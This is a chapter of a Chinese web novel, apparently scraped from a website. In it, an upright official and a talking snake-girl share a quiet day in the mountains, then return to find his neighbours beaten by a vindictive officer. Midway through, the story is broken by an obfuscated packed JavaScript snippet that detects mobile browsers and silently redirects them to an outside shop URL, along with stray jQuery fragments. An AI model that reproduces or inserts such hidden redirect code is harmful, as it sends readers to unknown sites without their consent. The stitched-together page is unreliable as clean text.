14. 第 14 章

作品:《囚蛇

    薄阴的天空刚泛起鱼肚白,一身蓝衣的青年便拿着一捆粗绳和斧子,轻掩上了院子的木门。


    晨风微凉,拂过他额前几缕墨黑的发丝,他下意识地捂住胸口衣襟处,在摸到柔软的条状物时,他的心安定了下来。


    “小寺,又是去山上砍柴啊!”包子铺的徐婶掀开蒸笼,热气裹着面香扑面而来。她麻利地包好两个包子和一张葱饼,递到程文寺手中,“都当上大官的人了,做事还这么亲力亲为。哪像我那儿子,成天懒洋洋的,啥也做不成哟!”


    程文寺接过温热的纸包,只是微微弯起唇角,没有多解释什么。“多谢徐婶。”他的声音温和清润,像这清晨尚未散尽的露水。


    山间的晨雾还未退尽,湿漉漉地缠绕在林叶之间。程文寺一步一步踩在松软的土地上,草尖的露珠滚落,悄然浸湿了他的靴面,染上一圈深色的泥痕。


    走到平日惯常歇脚的山腰处,他将绳子和斧头搁在地上,从怀里小心捧出那条仍在酣睡的小青蛇,轻轻放在一旁平滑的石面上。


    “答应过你,等伤好了,就带你出来看看。”他低声说道,指尖在小蛇冰凉的鳞片上顿了顿,“山中清静,你应该会喜欢。若是想留下便去吧。”


    小蛇迷迷糊糊睁开眼,碧绿瞳里映出陌生的山林景致。它昂起头,疑惑地望向他,似乎不明白他为何将自己带到这里,又说这样的话。


    程文寺却没有再解释。他向来如此,认定了该做的事,便静静去做,很少向人剖白缘由。


    男人选了一棵枝干遒劲的老树,抡起斧子。木屑随着一下又一下的劈砍飞溅开来,声响惊起了不远处枝头的山雀。


    谢冬瑗打了个小小的哈欠,盘在石上打量四周。郁郁葱葱的林木,远处隐约的溪涧声,空气中飘着泥土与落叶混合的气息。


    程文寺方才的话她听懂了,他以为她不过是条寻常小蛇,偶然被贵人豢养,如今好心送她回归山林。


    心意是好的,只可惜她并非真的渴望自由。她要回的是皇宫,是那个能让她找到归途的地方。


    明天程文寺便要结束休沐,重新穿上那身深青官服上朝,那是她返回宫中的最好时机。


    可是……


    皇宫里有吃不完的炙牛肉粒,有专为她准备的当季鲜果和铺着丝绸的软垫,还有宫女细心照料她的生活起居。


    而程文寺家徒四壁,穷得叮当响,每天只有清粥白米饭,还有那吃不完的菜叶子,偶尔会来点肉沫。


    为什么,她却更舍不得离开这里呢?


    小蛇垂下脑袋,趴在冰凉的石头上一动不动。心里有个声音在提醒,别忘了最初的目的。


    终究,她还是选择了回去。


    比起眼前这份短暂的温暖,回到现代才是她真正的执念。


    程文寺背对着她,手中的斧子一次次落下。从说出你走吧那几个字开始,胸口就堵着一股挥不散的郁气。他不敢回头,怕多看一眼,就会收回那句故作大方的话。


    他从来不是圣人。他也想留下它,想让它陪在自己身边。可正因如此,他才更不能这样做。


    它该属于更广阔的山林,而不是困在这简陋的茅檐下。


    这份矛盾撕扯着他,只能借由一次次挥斧发泄。日头渐高,汗水沿着额角滑落,濡湿了鬓发,掌心被木柄磨得发红,身后的木柴已堆成小山,他却依然没有停下的意思。


    直到一个细细软软的声音忽然响起:


    “小寺,我饿了。”


    斧头骤然停在半空。


    程文寺喘着气,缓缓转过头。石头上,小青蛇正仰着脑袋看他,又清清楚楚重复了一遍:“小寺,我饿了。”


    他扔下斧子,几步跨到石头前蹲下,眼中闪过惊愕,随即漾开明亮的光芒。“你会说话?”


    “小寺,我饿了。”她第三次说道,尾巴尖轻轻拍了拍石面。


    程文寺这才慌忙去翻早上的纸包,意识到手脏,又急急转身奔向不远处的溪涧。水流淙淙,他匆匆洗净手,用随身的水囊接了清冽的泉水,再跑回来时气息还有些不稳。


    “这这这有包子,还有葱葱葱饼,水水水要不要喝,喝?”


    他手足无措的模样,让谢冬瑗忍不住噗嗤的笑出声来。


    “哈哈哈哈哈。”小青蛇在石面上扭来扭去,笑得鳞片都在轻颤。


    程文寺就那样耐心等着,直到她笑够了,才听她说道:“我还以为你会当我是妖怪,要么吓跑,要么一斧子劈过来呢,看来你接受得挺快嘛。”


    他将葱饼掰成小块递过去,小蛇一口衔住。程文寺神色渐渐平和下来:“说不惊讶是假的,这辈子头一回遇见会说话的蛇。不过捡到你那时,就知道你非同一般。这些日子你从未伤我,即便真是妖,也是心善的妖。”


    他比她想象中还要温柔。谢冬瑗忽然觉得,那句告别更难说出口了。


    罢了,反正是明天的事。再贪恋这一刻,也不为过吧?


    她吃饱后,程文寺才就着泉水吃起已经微凉的包子。小蛇悄悄攀上他的肩头,冰凉的鳞片贴着他汗湿的脖颈。


    “程文寺,”她忽然开口,“你既已立业,就没想过成家么?”


    程文寺微微一愣。这个问题他并非没有想过,只是从未与人言说。


    沉默片刻,他低声道:“从我决意要做个遵从本心的官那一刻起,便知道像我这样的人,注定亲缘淡薄,无妻无子。唯有这样,才不会被牵绊,也不会连累旁人。”


    他垂着眼,睫毛轻轻颤了颤,那丝难以捕捉的脆弱,却让谢冬瑗心生怜悯。


    她将身子贴得更紧了些,仿佛想借那点微凉的触感安慰他。


    “你真的不留在山里吗?”程文寺轻声问。


    “我想跟你回去。”


    “好,”他嘴角浮起很淡的笑意,“我们回家。”


    饭后,程文寺利落地将木柴捆扎结实,背起那几乎是他两倍体积的柴垛,步伐稳健地朝山下走去。


    谢冬瑗盘在他衣领间,悄悄想难怪他身形穿衣显瘦脱衣有肉,常年这般劳作,自然锻炼出一身好身材。


    一切本该如此平静地延续下去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922914|192639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可天总不遂人愿,程文寺早前那句话,竟一语成谶。


    还未走近巷口,便听见哭嚷与呵斥声混杂传来。程文寺脚步一顿,加快步伐转过巷角,眼前的景象让他的脸色瞬间沉了下去。


    院门歪斜,篱笆散乱。邻居们瑟缩在墙角,赵屠夫额角带血,秦奶奶倒在地上气息微弱。


    而院中,一群府兵持械而立,申成益正鼻孔撩天地坐在唯一完好的木凳上,脸上挂着得意的冷笑。


    “总算让我等到你了。”申成益扬起下巴。


    程文寺放下肩上的柴捆,目光扫过狼藉的院落,最终落在那张嚣张的脸上,声音寒如冬泉:“申都尉,程某自问从未主动与你为敌,即便你屡次针对,我也未曾报复。你受陛下责罚,是因你自身欺瞒,与我何干?堂堂都尉,心眼小如针孔便罢,竟连老人也不放过么?”


    申成益黑脸涨红,猛地站起:“那是他们不识抬举!老子不过想逮你出口恶气,那老婆子就扑上来骂我龟孙子,府兵拉她她还死活要撞过来,怪得了谁?还有这些人,”他指着缩在一边的邻居,“看见我进你院子,一个个都不要命地拦着,自找的!”


    赵屠夫的妻子此时冲了出来,啐了一口,指着申成益哭骂:“是他逼我们去官府作伪证,诬告程大人私德败坏!我们不肯画押,他就让府兵动手。这样的官,简直黑了心肝!”


    申成益恼羞成怒,厉喝道:“把这泼妇拖去京兆府关上几天,看她嘴还硬不硬!”


    两名府兵应声上前。程文寺却已横跨一步,拾起地上一根粗柴拦在路中:“有我在,谁也别想动他们一分。”


    “就凭你?”申成益嗤笑,“给我一起上!把这巷子里的人全押走!”


    接下来的场面出乎所有人意料。这个平日温文尔雅的文官,仅凭一根木棍,竟将扑上来的府兵一个个挑翻在地。


    棍风凌厉,步法沉稳,不过片刻工夫,七八名府兵已躺倒呻吟。申成益亲自上前,不出三招便被一棍扫中膝弯,踉跄跪地。


    申成益终于怕了,带着人连滚爬出巷子。程文寺这才丢下木棍,扶起秦奶奶,又朝惊魂未定的邻人们深深一揖:“是程某连累各位了。”


    他将秦奶奶送去医馆,垫付诊金后,又回来一一安抚受伤的邻居。再回到小院时,天色已近黄昏。


    程文寺沉默地收拾着满地狼藉,动作缓慢得近乎滞重。上山背柴时不曾压弯的脊背,此刻却显出了疲惫。


    “小寺,”衣襟间钻出小青蛇的脑袋,轻轻蹭了蹭他的下颌,“这不是你的错。是他们作恶多端。”


    他弯腰拾起一片被踩碎的瓦罐,声音很轻:“不,是我的错。明知申成益心狭善妒,却未加防范,连累街坊受此无妄之灾。若我再晚归片刻……”他没有说下去,只抬起头,望着这座住了多年的小院,“是时候该搬走了。”


    搬去无人相识的地方,至少,不会再牵连这些善良的人。


    就在他俯身整理散乱柴堆时,巷口再度传来密集脚步声。竟是申成益去而复返,这一次,他身后跟着更多持刀的府兵。